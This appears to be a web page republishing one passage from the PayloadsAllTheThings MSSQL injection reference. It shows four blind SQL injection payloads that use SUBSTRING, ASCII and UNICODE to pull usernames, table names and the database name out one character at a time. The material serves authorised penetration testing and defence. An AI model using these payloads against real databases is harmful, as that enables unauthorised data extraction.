SQL Injection · passage 60 of 186

MSSQL Injection: MSSQL Blind With Substring Equivalent

1 code block · SQL Injection/MSSQL Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

| Function | Example | | ----------- | ---------------------------------------- | | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` | Examples:

AND ASCII(SUBSTRING(SELECT TOP 1 username FROM tblusers),1,1)=97
AND UNICODE(SUBSTRING((SELECT 'A'),1,1))>64-- 
AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'
AND ISNULL(ASCII(SUBSTRING(CAST((SELECT LOWER(db_name(0)))AS varchar(8000)),1,1)),0)>90

Every one of the 186 is a mark on the map. Named now: 53 to 78, reading order first.

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP